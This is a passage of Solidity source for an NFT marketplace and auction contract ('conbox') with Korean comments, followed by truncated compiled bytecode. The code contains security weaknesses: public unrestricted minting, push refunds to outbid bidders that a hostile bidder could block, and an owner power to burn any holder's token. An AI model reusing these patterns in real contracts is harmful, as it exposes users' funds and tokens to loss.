function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
abstract contract ERC721Pausable is Context,Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function pause() onlyOwner whenNotPaused public {
_paused = true;
emit Paused(_msgSender());
}
function unpause() onlyOwner whenPaused public {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC721Fees is Context,Ownable {
event FeePaused();
event FeeUnPaused();
event CancelFeePaused();
event CancelFeeUnPaused();
event SetFee(uint feeRate);
event SetCancelFee(uint feeRate);
uint private _feeRate;
uint private _cancelFeeRate;
bool private _feePaused;
bool private _cancelFeePaused;
constructor (uint feeRate_,uint cancelFeeRate_) {
_feeRate = feeRate_;
_cancelFeeRate = cancelFeeRate_;
_feePaused = false;
_cancelFeePaused = false;
}
function feeRate() public view virtual returns (uint) {
if(feePaused() == true){
return 0;
}
return _feeRate;
}
function cancelFeeRate() public view virtual returns (uint) {
if(cancelFeePaused() == true){
return 0;
}
return _cancelFeeRate;
}
function feePaused() public view virtual returns (bool) {
return _feePaused;
}
function cancelFeePaused() public view virtual returns (bool) {
return _cancelFeePaused;
}
modifier whenNotFeePaused() {
require(!feePaused(), "Pausable: paused");
_;
}
modifier whenFeePaused() {
require(feePaused(), "Pausable: not paused");
_;
}
modifier whenNotCancelFeePaused() {
require(!cancelFeePaused(), "Pausable: paused");
_;
}
modifier whenCancelFeePaused() {
require(cancelFeePaused(), "Pausable: not paused");
_;
}
function feePause() onlyOwner whenNotFeePaused public {
_feePaused = true;
emit FeePaused();
}
function feeUnPause() onlyOwner whenFeePaused public {
_feePaused = false;
emit FeeUnPaused();
}
function cancelFeePause() onlyOwner whenNotCancelFeePaused public {
_cancelFeePaused = true;
emit CancelFeePaused();
}
function cancelFeeUnPause() onlyOwner whenCancelFeePaused public {
_cancelFeePaused = false;
emit CancelFeeUnPaused();
}
function setFee(uint feeRate_) onlyOwner public {
require(feeRate_ <= 100, "Up to 100 commission");
_feeRate = feeRate_;
emit SetFee(feeRate_);
}
function setCancelFee(uint feeRate_) onlyOwner public {
require(feeRate_ <= 100, "Up to 100 commission");
_cancelFeeRate = feeRate_;
emit SetCancelFee(feeRate_);
}
}
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable
,ERC721Pausable
,ERC721Fees
{
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using Strings for uint256;
using EnumerableMap for EnumerableMap.UintToAddressMap;
EnumerableMap.UintToAddressMap internal _tokenOwners;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) internal _holderTokens;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) internal _operatorApprovals;
mapping (uint256 => string) internal _tokenURIs;
string internal _baseURI;
string private _name;
string private _symbol;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_)
ERC721Fees(10,10)
{
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
return _tokenOwners.get(tokenId);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId));
address owner = _ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || _operatorApprovals[owner][spender]);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data));
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0));
require(!_exists(tokenId));
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = _ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(_ownerOf(tokenId) == from);
require(to != address(0));
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId));
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal {
_tokenApprovals[tokenId] = to;
emit Approval(_ownerOf(tokenId), to, tokenId); // internal owner
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {
require(!paused());
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0));
return _holderTokens[owner].length();
}
function setBaseURI(string memory baseURI_) onlyOwner public virtual {
_setBaseURI(baseURI_);
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId));
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _ownerOf(tokenId);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner);
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()));
_approve(to, tokenId);
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender());
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId));
require(hasAuction(tokenId) == false);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
require(hasAuction(tokenId) == false);
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId));
require(hasAuction(tokenId) == false);
_safeTransfer(from, to, tokenId, _data);
}
struct Offer {
bool isForSale;
address seller;
uint minValue;
uint endTime;
}
struct Bid {
bool hasBid;
address bidder;
uint value;
}
// NFT 경매 등록 목록
mapping (uint256 => Offer) public offers;
// NFT 입찰 목록
mapping (uint256 => Bid) public bids;
event CreateAuction(address indexed owner,uint _tokenId, uint _minValue,uint _endTime);
event CancelAuction(uint _tokenId);
event EndAuction(uint _tokenId,uint price);
event Bidding(uint _tokenId,uint value);
event CancelBid(uint _tokenId);
//경매등록
function _createAuction(uint256 _tokenId, uint _minValue,uint _auctionTime) internal virtual {
require(_ownerOf(_tokenId) == msg.sender);//토큰 소유자인지 확인
Offer storage offer = offers[_tokenId];
require(offer.isForSale != true);//현재 판매중인지 확인
offers[_tokenId] = Offer(true, msg.sender, _minValue,block.timestamp + _auctionTime);
emit CreateAuction(msg.sender, _tokenId, _minValue,block.timestamp + _auctionTime);
}
//경매취소
function _cancelAuction(uint256 _tokenId) internal virtual {
require(_ownerOf(_tokenId) == msg.sender);//토큰 소유자인지 체크
Offer storage offer = offers[_tokenId];
require(offer.isForSale == true);//현재 경매중인지 체크
Bid storage bid = bids[_tokenId];
require(bid.hasBid != true);//입찰자가 있을경우 경매 취소 불가능
offers[_tokenId] = Offer(false, msg.sender, 0,0);
emit CancelAuction(_tokenId);
}
//입찰하기
function _bid(uint256 _tokenId) internal virtual {
require(_ownerOf(_tokenId) != msg.sender);//토큰 보유자
Offer storage offer = offers[_tokenId];
require(block.timestamp < offer.endTime);//경매가 종료되었을 경우
require(msg.value >= offer.minValue);//입찰 금액이 최소 입찰액보다 작은지 체크
Bid storage existing = bids[_tokenId];
require(msg.value > existing.value);//입찰금액이 이전 입찰금액보다 적을경우 트랜잭션 취소
if (existing.value > 0) {
//이전 입찰자에게 이더리움을 돌려줌
address payable bidder = payable(existing.bidder);
bidder.transfer(existing.value);
}
bids[_tokenId] = Bid(true, msg.sender, msg.value);
emit Bidding(_tokenId,msg.value);
}
//입찰취소
function _cancelBid(uint256 _tokenId) internal virtual {
Offer storage offer = offers[_tokenId];
require(offer.isForSale == true);//경매가 진행중인지 체크
require(block.timestamp < offer.endTime);//경매가 종료되었을 경우
Bid storage bid = bids[_tokenId];
require(bid.hasBid == true);
require(bid.bidder == msg.sender);//입찰자가 본인인 경우
address payable bidder = payable(bid.bidder);
address payable seller = payable(offer.seller);
uint cancelFee = bid.value * cancelFeeRate() / 1000;
bidder.transfer(bid.value - cancelFee);
seller.transfer(cancelFee);
bids[_tokenId] = Bid(false, address(0), 0);
emit CancelBid(_tokenId);
}
//경매종료
function _endAuction(uint256 _tokenId) internal virtual {
Offer storage offer = offers[_tokenId];
require(block.timestamp >= offer.endTime);//경매 종료 시간이 아닐경우 오류
require(offer.isForSale == true);//경매가 이미 종료된 경우
address payable seller = payable(_ownerOf(_tokenId));
Bid storage bid = bids[_tokenId];
_transfer(offer.seller, bid.bidder, _tokenId);
// 수수료
uint _commissionValue = bid.value * feeRate() / 1000;
uint _sellerValue = bid.value - _commissionValue;
seller.transfer(_sellerValue);//판매자에게 판매대금 지급
address payable contractOwner = payable(_owner);
contractOwner.transfer(_commissionValue);//발행자에게 수수료 지급
emit EndAuction(_tokenId,bid.value);
_resetAuction(_tokenId);
}
function _resetAuction(uint256 _tokenId) internal virtual {
offers[_tokenId] = Offer(false, address(0), 0,0);
bids[_tokenId] = Bid(false, address(0), 0);
}
function hasAuction(uint256 _tokenId) public view virtual returns (bool){
Offer storage offer = offers[_tokenId];
if(offer.isForSale != true){
return false;
}
return true;
}
}
abstract contract ERC721Burnable is ERC721
{
function burn(uint256 _tokenId) external payable{
require(_isApprovedOrOwner(_msgSender(), _tokenId) || _owner == _msgSender(), "ERC721Burnable: caller is not owner nor approved");
Offer storage offer = offers[_tokenId];
if(offer.isForSale == true){
Bid storage bid = bids[_tokenId];
if(bid.hasBid == true){
address payable bidder = payable(bid.bidder);
bidder.transfer(bid.value);
}
_resetAuction(_tokenId);
}
_burn(_tokenId);
}
}
abstract
contract Market is
ERC721
{
address payable public _contractOwner;
mapping (uint => uint) public price;
mapping (uint => bool) public listedMap;
event Purchase(address indexed previousOwner, address indexed newOwner, uint price, uint nftID, string uri);
event Minted(address indexed minter, uint256 price, uint nftID, string uri);
event PriceUpdate(address indexed owner, uint oldPrice, uint newPrice, uint nftID);
event NftListStatus(address indexed owner, uint nftID, bool isListed);
//즉시 판매 생성
function mint(string memory _tokenURI, address _toAddress, uint256 _price) public returns (uint) {
uint _tokenId = totalSupply() + 1;
price[_tokenId] = _price;
listedMap[_tokenId] = true;
_safeMint(_toAddress, _tokenId);
_setTokenURI(_tokenId, _tokenURI);
emit Minted(_toAddress, _price, _tokenId, _tokenURI);
return _tokenId;
}
function buy(uint _id) external payable {
_validate(_id);
address _previousOwner = ownerOf(_id);
address _newOwner = msg.sender;
_trade(_id);
emit Purchase(_previousOwner, _newOwner, price[_id], _id, tokenURI(_id));
}
function _validate(uint _id) internal {
bool isItemListed = listedMap[_id];
require(_exists(_id));
require(isItemListed);
require(msg.sender != ownerOf(_id));
}
function _trade(uint _id) internal {
require(msg.value >= price[_id]);
address payable contractOwner = payable(_owner);
address payable _buyer = payable(msg.sender);
address payable _owner = payable(ownerOf(_id));
_transfer(_owner, _buyer, _id);
uint _commissionValue = price[_id] * feeRate() / 1000;
uint _sellerValue = price[_id] - _commissionValue;
_owner.transfer(_sellerValue);
contractOwner.transfer(_commissionValue);
// If buyer sent more than price, we send them back their rest of funds
if (msg.value > price[_id]) {
_buyer.transfer(msg.value - price[_id]);
}
listedMap[_id] = false;
}
function updatePrice(uint _tokenId, uint _price) public returns (bool) {
require(hasAuction(_tokenId) == false);
uint oldPrice = price[_tokenId];
require(msg.sender == ownerOf(_tokenId));
price[_tokenId] = _price;
emit PriceUpdate(msg.sender, oldPrice, _price, _tokenId);
return true;
}
function updateListingStatus(uint _tokenId, bool shouldBeListed) public returns (bool) {
require(msg.sender == ownerOf(_tokenId));
require(hasAuction(_tokenId) == false);
listedMap[_tokenId] = shouldBeListed;
emit NftListStatus(msg.sender, _tokenId, shouldBeListed);
return true;
}
function updateSale(uint256 _tokenId, uint256 _price) public returns (bool) {
require(hasAuction(_tokenId) == false);
uint oldPrice = price[_tokenId];
require(msg.sender == ownerOf(_tokenId));
price[_tokenId] = _price;
emit NftListStatus(msg.sender, _tokenId, true);
if (listedMap[_tokenId] != true) {
listedMap[_tokenId] = true;
emit PriceUpdate(msg.sender, oldPrice, _price, _tokenId);
}
return true;
}
}
contract AuctionMarket is Market {
constructor() ERC721("conbox", "conbox") {
}
//경매 판매 생성
function auctionMint(string memory _tokenURI, address _toAddress,uint _minValue,uint _auctionTime) public returns (uint) {
uint _tokenId = totalSupply() + 1;
price[_tokenId] = _minValue;
_safeMint(_toAddress, _tokenId);
_setTokenURI(_tokenId, _tokenURI);
emit Minted(_toAddress, _minValue, _tokenId, _tokenURI);
_createAuction(_tokenId,_minValue,_auctionTime);
return _tokenId;
}
//경매생성
function createAuction(uint _tokenId, uint _minValue,uint _auctionTime) public virtual {
require(listedMap[_tokenId] == false); // 즉시판매 진행중
_createAuction(_tokenId,_minValue,_auctionTime);
}
//경매취소
function cancelAuction(uint _tokenId) public virtual {
_cancelAuction(_tokenId);
}
//입찰
function bid(uint _tokenId) external payable {
_bid(_tokenId);
}
//입찰취소
function cancelBid(uint _tokenId) external payable {
_cancelBid(_tokenId);
}
//경매종료
function endAuction(uint _tokenId) external payable {
_endAuction(_tokenId);
}
} | 0x6080604052600436106102e45760003560e01c80637e8816b911610190578063b88d4fde116100dc578063ca52a43311610095578063d96a094a1161006f578063d96a094a14610d01578063e985e9c514610d1e578063f146292114610d59578063f2fde38b14610d83576102e4565b8063ca52a43314610ca1578063cda4beef14610cb6578063d16fd8d414610cec576102e4565b8063b88d4fde14610b05578063b9a2de3a14610bd6578063bc8ba28f14610bf3578063bdde789714610c1d578063c2fffd6b14610c4d578063c87b56dd14610c77576102e4565b806395d89b4111610149578063978bbdb911610123578063978bbdb914610a6e5780639819826a14610a8357806398214bcb14610a98578063a22cb46514610aca576102e4565b806395d89b4114610a1257806396b5a75514610a275780639703ef3514610a51576102e4565b80637e8816b9146107da57806382367b2d146108995780638456cb59146108c95780638804da63146108de5780638a72ea6a146109a35780638da5cb5b146109fd576102e4565b806342842e0e1161024f57806355f804b31161020857806369fe0e2d116101e257806369fe0e2d146107535780636c0360eb1461077d57806370a0823114610792578063715018a6146107c5576102e4565b806355f804b3146106635780635c975abb146107145780636352211e14610729576102e4565b806342842e0e1461055d5780634423c5f1146105a0578063454a2ab3146105f25780634e79f1a11461060f5780634f6ccce71461062457806350f1c94f1461064e576102e4565b806326a49e37116102a157806326a49e37146104a657806327fbe123146104d05780632bb3b114146104e55780632f745c59146104fa5780633c4da553146105335780633f4ba83a14610548576102e4565b806301ffc9a7146102e957806306fdde0314610331578063081812fc146103bb578063095ea7b31461040157806318160ddd1461043c57806323b872dd14610463575b600080fd5b3480156102f557600080fd5b5061031d6004803603602081101561030c57600080fd5b50356001600160e01b031916610db6565b604080519115158252519081900360200190f35b34801561033d57600080fd5b50610346610dd9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610380578181015183820152602001610368565b50505050905090810190601f1680156103ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c757600080fd5b506103e5600480360360208110156103de57600080fd5b5035610e70565b604080516001600160a01b039092168252519081900360200190f35b34801561040d57600080fd5b5061043a6004803603604081101561042457600080fd5b506001600160a01b038135169060200135610ea0565b005b34801561044857600080fd5b50610451610f17565b60408051918252519081900360200190f35b34801561046f57600080fd5b5061043a6004803603606081101561048657600080fd5b506001600160a01b03813581169160208101359091169060400135610f28565b3480156104b257600080fd5b50610451600480360360208110156104c957600080fd5b5035610f60565b3480156104dc57600080fd5b5061031d610f72565b3480156104f157600080fd5b506103e5610f80565b34801561050657600080fd5b506104516004803603604081101561051d57600080fd5b506001600160a01b038135169060200135610f8f565b34801561053f57600080fd5b50610451610fba565b34801561055457600080fd5b5061043a610fdd565b34801561056957600080fd5b5061043a6004803603606081101561058057600080fd5b506001600160a01b038135811691602081013590911690604001356110c9565b3480156105ac57600080fd5b506105ca600480360360208110156105c357600080fd5b50356110f7565b6040805193151584526001600160a01b03909216602084015282820152519081900360600190f35b61043a6004803603602081101561060857600080fd5b5035611124565b34801561061b57600080fd5b5061043a611130565b34801561063057600080fd5b506104516004803603602081101561064757600080fd5b50356111fe565b34801561065a57600080fd5b5061031d611214565b34801561066f57600080fd5b5061043a6004803603602081101561068657600080fd5b810190602081018135600160201b8111156106a057600080fd5b8201836020820111156106b257600080fd5b803590602001918460018302840111600160201b831117156106d357600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061121d945050505050565b34801561072057600080fd5b5061031d61126f565b34801561073557600080fd5b506103e56004803603602081101561074c57600080fd5b503561127f565b34801561075f57600080fd5b5061043a6004803603602081101561077657600080fd5b503561128a565b34801561078957600080fd5b5061034661135a565b34801561079e57600080fd5b50610451600480360360208110156107b557600080fd5b50356001600160a01b03166113bb565b3480156107d157600080fd5b5061031d6113f1565b3480156107e657600080fd5b50610451600480360360608110156107fd57600080fd5b810190602081018135600160201b81111561081757600080fd5b82018360208201111561082957600080fd5b803590602001918460018302840111600160201b8311171561084a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550506001600160a01b038335169350505060200135611447565b3480156108a557600080fd5b5061031d600480360360408110156108bc57600080fd5b5080359060200135611551565b3480156108d557600080fd5b5061043a6115fa565b3480156108ea57600080fd5b506104516004803603608081101561090157600080fd5b810190602081018135600160201b81111561091b57600080fd5b82018360208201111561092d57600080fd5b803590602001918460018302840111600160201b8311171561094e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550506001600160a01b0383351693505050602081013590604001356116cc565b3480156109af57600080fd5b506109cd600480360360208110156109c657600080fd5b50356117ca565b6040805194151585526001600160a01b039093166020850152838301919091526060830152519081900360800190f35b348015610a0957600080fd5b506103e56117fe565b348015610a1e57600080fd5b5061034661180d565b348015610a3357600080fd5b5061043a60048036036020811015610a4a57600080fd5b503561186e565b61043a60048036036020811015610a6757600080fd5b5035611877565b348015610a7a57600080fd5b50610451611880565b348015610a8f57600080fd5b5061043a6118a3565b348015610aa457600080fd5b5061031d60048036036040811015610abb57600080fd5b50803590602001351515611971565b348015610ad657600080fd5b5061043a60048036036040811015610aed57600080fd5b506001600160a01b0381351690602001351515611a0b565b348015610b1157600080fd5b5061043a60048036036080811015610b2857600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b811115610b6257600080fd5b820183602082011115610b7457600080fd5b803590602001918460018302840111600160201b83111715610b9557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611ac8945050505050565b61043a60048036036020811015610bec57600080fd5b5035611b07565b348015610bff57600080fd5b5061031d60048036036020811015610c1657600080fd5b5035611b10565b348015610c2957600080fd5b5061031d60048036036040811015610c4057600080fd5b5080359060200135611b25565b348015610c5957600080fd5b5061043a60048036036020811015610c7057600080fd5b5035611c41565b348015610c8357600080fd5b5061034660048036036020811015610c9a57600080fd5b5035611d12565b348015610cad57600080fd5b5061043a611f61565b348015610cc257600080fd5b5061043a60048036036060811015610cd957600080fd5b5080359060208101359060400135612030565b348015610cf857600080fd5b5061043a612057565b61043a60048036036020811015610d1757600080fd5b5035612127565b348015610d2a57600080fd5b5061031d60048036036040811015610d4157600080fd5b506001600160a01b0381358116916020013516612224565b348015610d6557600080fd5b5061031d60048036036020811015610d7c57600080fd5b5035612252565b348015610d8f57600080fd5b5061031d60048036036020811015610da657600080fd5b50356001600160a01b0316612281565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e655780601f10610e3a57610100808354040283529160200191610e65565b820191906000526020600020905b815481529060010190602001808311610e4857829003601f168201915b505050505090505b90565b6000610e7b8261231b565b610e8457600080fd5b506000908152600860205260409020546001600160a01b031690565b6000610eab8261127f565b9050806001600160a01b0316836001600160a01b03161415610ecc57600080fd5b806001600160a01b0316610ede612328565b6001600160a01b03161480610eff5750610eff81610efa612328565b612224565b610f0857600080fd5b610f12838361232c565b505050565b6000610f23600561239a565b905090565b610f39610f33612328565b826123a5565b610f4257600080fd5b610f4b81612252565b15610f5557600080fd5b610f12838383612436565b60116020526000908152604090205481565b600454610100900460ff1690565b6010546001600160a01b031681565b6001600160a01b0382166000908152600760205260408120610fb1908361251e565b90505b92915050565b6000610fc4610f72565b151560011415610fd657506000610e6d565b5060035490565b6001546001600160a01b031633146110265760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b61102e61126f565b611076576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6001805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6110ac612328565b604080516001600160a01b039092168252519081900360200190a1565b6110d281612252565b156110dc57600080fd5b610f1283838360405180602001604052806000815250611ac8565b600f602052600090815260409020805460019091015460ff82169161010090046001600160a01b03169083565b61112d8161252a565b50565b6001546001600160a01b031633146111795760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b611181611214565b6111c9576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6004805460ff191690556040517f0a9d058aff97d3ed3388247bac7d508f44a460217484407ce5bba66affc17daf90600090a1565b60008061120c600584612688565b509392505050565b60045460ff1690565b6001546001600160a01b031633146112665760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b61112d816126a4565b600154600160a01b900460ff1690565b6000610fb4826126bb565b6001546001600160a01b031633146112d35760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b6064811115611320576040805162461bcd60e51b81526020600482015260146024820152732ab8103a37901898181031b7b6b6b4b9b9b4b7b760611b604482015290519081900360640190fd5b60028190556040805182815290517e172ddfc5ae88d08b3de01a5a187667c37a5a53989e8c175055cb6c993792a79181900360200190a150565b600b8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e655780601f10610e3a57610100808354040283529160200191610e65565b60006001600160a01b0382166113d057600080fd5b6001600160a01b0382166000908152600760205260409020610fb49061239a565b6001546000906001600160a01b0316331461143d5760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b610f2360006126c8565b600080611452610f17565b6001908101600081815260116020908152604080832088905560129091529020805460ff1916909217909155905061148a8482612729565b6114948186612743565b836001600160a01b03167ff2cb5e52049d127ad1c335f1cc25f2fdbc911bec1beb2611f4c1e8b1c274d4b48483886040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561150b5781810151838201526020016114f3565b50505050905090810190601f1680156115385780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a290505b9392505050565b600061155c83612252565b1561156657600080fd5b60008381526011602052604090205461157e8461127f565b6001600160a01b0316336001600160a01b03161461159b57600080fd5b6000848152601160209081526040918290208590558151838152908101859052808201869052905133917f8647dab5101cbe18afb171756e9753802f9d66725bf2346b079b8b1a275e0116919081900360600190a25060019392505050565b6001546001600160a01b031633146116435760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b61164b61126f565b15611690576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586110ac612328565b6000806116d7610f17565b600101600081815260116020526040902085905590506116f78582612729565b6117018187612743565b846001600160a01b03167ff2cb5e52049d127ad1c335f1cc25f2fdbc911bec1beb2611f4c1e8b1c274d4b48583896040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611778578181015183820152602001611760565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a26117bf818585612774565b90505b949350505050565b600e6020526000908152604090208054600182015460029092015460ff8216926101009092046001600160a01b0316919084565b6001546001600160a01b031690565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e655780601f10610e3a57610100808354040283529160200191610e65565b61112d81612872565b61112d8161297b565b600061188a611214565b15156001141561189c57506000610e6d565b5060025490565b6001546001600160a01b031633146118ec5760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f9139604001915050604051809103